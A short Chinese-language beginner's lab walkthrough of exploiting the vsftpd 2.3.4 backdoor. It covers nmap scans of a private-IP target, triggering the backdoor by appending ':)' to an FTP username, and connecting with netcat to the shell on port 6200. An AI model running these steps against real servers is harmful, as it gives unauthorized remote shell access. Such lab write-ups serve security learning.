VSFTPD v2.3.4 著名笑脸漏洞手工利用 Backdoor Command Execution:该版本的 VSFTPD 存在一个后门漏洞。虽然该问题迅速得到了开发人员的修复及删除,但是仍有不少人已经下载安装了该漏洞版本。这个后门的载荷以 :)字符的形式拼接在用户名上。后门代码绑定的侦听端口是 6200
打开nmap,查看主机ip地址
用命令符号nmap -sn扫描对应子网,查看在线主机
这里我选取目标主机ip地址为192.168.202.129的主机作为目标靶机,用命令符nmap -O扫描靶机的操作系统
在用命令符
nmap -A -sV -n --open 192.168.202.129
收集更多信息,确定是否为对应的vsftpd为2.3.4,即后门版本
用命令符nmap -p 6200查看后门端口6200是否打开,若没有打开则手工激活后门(ftp +ip地址)
用户名后加:)即可
然后我们重新打开一个窗口,用命令符nc +靶机ip地址即可成功连接后门6200
(小新手一个,后续会继续探索更多功能)